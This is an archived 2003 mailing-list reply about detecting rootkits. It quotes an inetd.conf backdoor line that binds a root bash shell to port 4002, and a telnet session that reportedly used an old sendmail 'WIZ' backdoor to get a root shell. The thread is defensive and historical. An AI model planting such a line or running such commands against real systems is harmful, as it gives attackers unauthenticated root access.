Messages in this thread | | | Date | Mon, 8 Dec 2003 08:49:29 -0500 (EST) | From | "Richard B. Johnson" <> | Subject | Re: [OT] Rootkit queston |
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On Sat, 6 Dec 2003, Samium Gromoff wrote:
> > On Mon, 1 Dec 2003, Richard B. Johnson wrote: > > You can check for a common 'root attack', if you have inetd, > > by looking at the last few lines in /etc/inetd.conf. > > It may have some access port added that allows anybody > > who knows about it to log in as root from the network. > > It will look something like this: > > > > # End of inetd.conf. > > 4002 stream tcp nowait root /bin/bash -- > > > > In this case, port 4002 will allow access to a root shell > > that has no terminal processing, but an attacker can use this > > to get complete control of your system. FYI, this is a 5-year-old > > attack, long obsolete if you have a "store-bought" distribution > > more recent. > > How is it an attack? > (in order to write to inetd.conf you need to be root already) > > And if it is, what does it accomplish? > (writing a daemon listening on a $BELOVED_PORT port is trivial) > > regards, Samium Gromoff >
The explaination I read about on the web was that inetd had a developer's "back-door". If you knew about it, you could write to inetd.conf, which had been opened r/w. Other back doors existed in other network daemons also. The first exposed one was in sendmail. You could do: telnet dumb.victum.com 25 victum.com Sendmail 1.2.0 ready at Mon, Dec 4 1998 08:00:00 -0500 WIZ 220 Oh great leader. #
.... and you had a root-shell.
Cheers, Dick Johnson Penguin : Linux version 2.4.22 on an i686 machine (797.90 BogoMips). Note 96.31% of all statistics are fiction.
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